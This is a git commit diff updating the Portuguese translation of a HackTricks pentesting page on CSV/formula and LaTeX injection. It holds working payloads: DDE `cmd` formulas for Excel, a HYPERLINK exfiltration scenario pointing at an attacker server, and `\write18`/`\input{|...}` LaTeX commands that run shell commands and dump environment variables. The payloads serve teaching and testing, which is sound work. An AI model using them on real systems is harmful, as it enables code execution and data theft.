mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 14:38:27 +00:00
Translated ['pentesting-web/formula-csv-doc-latex-ghostscript-injection.
This commit is contained in:
parent
30c7cd4d28
commit
db115cd6a9
2 changed files with 30 additions and 16 deletions
Binary file not shown.
After Width: | Height: | Size: 278 KiB |
|
@ -2,9 +2,9 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
@ -14,6 +14,14 @@ Outras formas de apoiar o HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Injeção de Fórmula
|
||||
|
||||
### Informação
|
||||
|
@ -21,10 +29,10 @@ Outras formas de apoiar o HackTricks:
|
|||
Se a sua **entrada** está sendo **refletida** dentro de **arquivos CSV** (ou qualquer outro arquivo que provavelmente será aberto pelo **Excel**), você pode ser capaz de inserir **fórmulas do Excel** que serão **executadas** quando o usuário **abrir o arquivo** ou quando o usuário **clicar em algum link** dentro da planilha do excel.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Atualmente o **Excel irá alertar** (várias vezes) o **usuário quando algo é carregado de fora do Excel** para evitar que ele realize ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado ao payload final.
|
||||
Atualmente, o **Excel irá alertar** (várias vezes) o **usuário quando algo é carregado de fora do Excel** para evitar que ele realize ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado ao payload final.
|
||||
{% endhint %}
|
||||
|
||||
### [Lista de Palavras](https://github.com/payloadbox/csv-injection-payloads)
|
||||
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
|
||||
```
|
||||
DDE ("cmd";"/C calc";"!A0")A0
|
||||
@SUM(1+9)*cmd|' /C calc'!A0
|
||||
|
@ -39,20 +47,20 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
|
||||
O exemplo a seguir foi retirado de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||
|
||||
Imagine uma violação de segurança em um sistema de Gerenciamento de Registros de Alunos sendo explorada por meio de um ataque de injeção de CSV. A intenção principal do atacante é comprometer o sistema usado pelos professores para gerenciar detalhes dos alunos. O método envolve o atacante injetando um payload malicioso na aplicação, especificamente inserindo fórmulas prejudiciais em campos destinados aos detalhes dos alunos. O ataque se desenrola da seguinte forma:
|
||||
Imagine uma violação de segurança em um sistema de Gerenciamento de Registros de Alunos explorado por meio de um ataque de injeção de CSV. A intenção principal do atacante é comprometer o sistema usado pelos professores para gerenciar os detalhes dos alunos. O método envolve o atacante injetando uma carga maliciosa na aplicação, especificamente inserindo fórmulas prejudiciais em campos destinados aos detalhes dos alunos. O ataque se desenrola da seguinte forma:
|
||||
|
||||
1. **Injeção de Payload Malicioso:**
|
||||
1. **Injeção de Carga Maliciosa:**
|
||||
* O atacante envia um formulário de detalhes do aluno, mas inclui uma fórmula comumente usada em planilhas (por exemplo, `=HYPERLINK("<malicious_link>","Clique aqui")`).
|
||||
* Essa fórmula é projetada para criar um hiperlink, mas aponta para um servidor malicioso controlado pelo atacante.
|
||||
2. **Exportando Dados Comprometidos:**
|
||||
* Professores, sem saber da comprometimento, usam a funcionalidade da aplicação para exportar os dados para um arquivo CSV.
|
||||
* O arquivo CSV, quando aberto, ainda contém o payload malicioso. Esse payload aparece como um hiperlink clicável na planilha.
|
||||
* O arquivo CSV, quando aberto, ainda contém a carga maliciosa. Essa carga aparece como um hiperlink clicável na planilha.
|
||||
3. **Desencadeando o Ataque:**
|
||||
* Um professor clica no hiperlink, acreditando ser uma parte legítima dos detalhes do aluno.
|
||||
* Ao clicar, dados sensíveis (potencialmente incluindo detalhes da planilha ou do computador do professor) são transmitidos para o servidor do atacante.
|
||||
4. **Registrando os Dados:**
|
||||
* O servidor do atacante recebe e registra os dados sensíveis enviados do computador do professor.
|
||||
* O atacante pode então usar esses dados para vários propósitos maliciosos, comprometendo ainda mais a privacidade e segurança dos alunos e da instituição.
|
||||
* O atacante pode então usar esses dados para vários fins maliciosos, comprometendo ainda mais a privacidade e segurança dos alunos e da instituição.
|
||||
|
||||
### RCE
|
||||
|
||||
|
@ -62,7 +70,7 @@ Em configurações específicas ou versões mais antigas do Excel, um recurso ch
|
|||
|
||||
* Navegue até Arquivo → Opções → Centro de Confiança → Configurações do Centro de Confiança → Conteúdo Externo e habilite **Iniciar Servidor de Troca Dinâmica de Dados**.
|
||||
|
||||
Quando uma planilha com o payload malicioso é aberta (e se o usuário aceitar os avisos), o payload é executado. Por exemplo, para iniciar o aplicativo da calculadora, o payload seria:
|
||||
Quando uma planilha com a carga maliciosa é aberta (e se o usuário aceitar os avisos), a carga é executada. Por exemplo, para iniciar o aplicativo da calculadora, a carga seria:
|
||||
```markdown
|
||||
`=cmd|' /C calc'!xxx`
|
||||
```
|
||||
|
@ -92,12 +100,12 @@ O Google Sheets oferece funções que podem ser exploradas para exfiltração de
|
|||
|
||||
## Injeção LaTeX
|
||||
|
||||
Normalmente, os servidores que você encontrará na internet que **convertem código LaTeX para PDF** usam **`pdflatex`**.\
|
||||
Normalmente, os servidores que você encontrará na internet que **convertem código LaTeX em PDF** usam **`pdflatex`**.\
|
||||
Este programa usa 3 atributos principais para (des)permitir a execução de comandos:
|
||||
|
||||
- **`--no-shell-escape`**: **Desabilita** a construção `\write18{comando}`, mesmo que esteja habilitada no arquivo texmf.cnf.
|
||||
- **`--shell-restricted`**: Igual a `--shell-escape`, mas **limitado** a um conjunto 'seguro' de **comandos pré-definidos** (\*\*No Ubuntu 16.04 a lista está em `/usr/share/texmf/web2c/texmf.cnf`).
|
||||
- **`--shell-escape`**: **Habilita** a construção `\write18{comando}`. O comando pode ser qualquer comando de shell. Essa construção normalmente é desativada por motivos de segurança.
|
||||
- **`--shell-escape`**: **Habilita** a construção `\write18{comando}`. O comando pode ser qualquer comando de shell. Esta construção normalmente é desativada por motivos de segurança.
|
||||
|
||||
No entanto, existem outras maneiras de executar comandos, então para evitar RCE é muito importante usar `--shell-restricted`.
|
||||
|
||||
|
@ -136,7 +144,7 @@ Você pode precisar ajustar a injeção com wrappers como \[ ou $.
|
|||
\write\outfile{Hello-world}
|
||||
\closeout\outfile
|
||||
```
|
||||
### Execução de comando <a href="#command-execution" id="command-execution"></a>
|
||||
### Execução de comando <a href="#execução-de-comando" id="execução-de-comando"></a>
|
||||
|
||||
A entrada do comando será redirecionada para stdin, use um arquivo temporário para obtê-lo.
|
||||
```bash
|
||||
|
@ -161,7 +169,7 @@ A entrada do comando será redirecionada para stdin, use um arquivo temporário
|
|||
## Get the value of shell_escape_commands without needing to read pdfetex.ini
|
||||
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
|
||||
```
|
||||
Se você receber algum erro LaTex, considere usar base64 para obter o resultado sem caracteres inválidos.
|
||||
Se você receber algum erro LaTex, considere usar base64 para obter o resultado sem caracteres ruins.
|
||||
```bash
|
||||
\immediate\write18{env | base64 > test.tex}
|
||||
\input{text.tex}
|
||||
|
@ -189,16 +197,22 @@ De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
|||
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
||||
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
||||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Add table
Reference in a new issue